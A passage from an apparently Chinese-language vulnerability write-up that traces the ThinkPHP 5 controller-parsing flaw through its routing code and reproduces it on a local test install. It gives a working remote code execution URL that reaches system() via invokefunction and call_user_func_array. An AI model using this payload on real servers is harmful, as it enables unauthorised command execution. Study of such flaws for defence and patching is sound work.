$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));

跟着看看$module$class有什么作用,

在上图中$class被用来测试类是否存在,如果存在就进行实例化,如下图两个函数

image-20231009172603174

image-20231009172638149

$module在这里起到一个生成动态命名空间的作用

image-20231009172953514

然后,开始跟进parseModuleAndClass方法,

image-20231009173812659

可以发现,当 $name 以反斜线 \ 开始时直接将其作为类名。利用命名空间的特点,如果可以控制此处的 $name(即路由中的 controller 部分),那么就可以实例化任何一个类。

但是要传参进去,就要看tp的url解析配置,

route/Rule.php中配置了如何解析中的路由信息,

image-20231009173923949

就是用/将$url分割开,

而$url是从Request::path()中获取,那直接修改请求url即可,那就有思路了。

只是$url这个参数是如何获取的呢?

在这里可以看到,pathinfo()会进行读取请求中的GET参数$this*->config['var_pathinfo']

image-20231009175218331

var_pathinfo 的默认配置为 s,于是只需要传入参数s,对其进行修改即可,即可达到传参修改的目的

image-20231009174731186

漏洞构造payload以及复现

根据上面代码分析,实际上就是实例化类,如何调用就行了

于是随便找个有执行函数或者恶意函数类实例化即可,记得加上反斜线 \ ,让其name被代码认为是类进行实例化即可

底下我就用实例化app中的invokefunction调用call_user_func_array,用system函数执行dir

1
http://127.0.0.1/tp5/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

image-20231009175604641

测试完成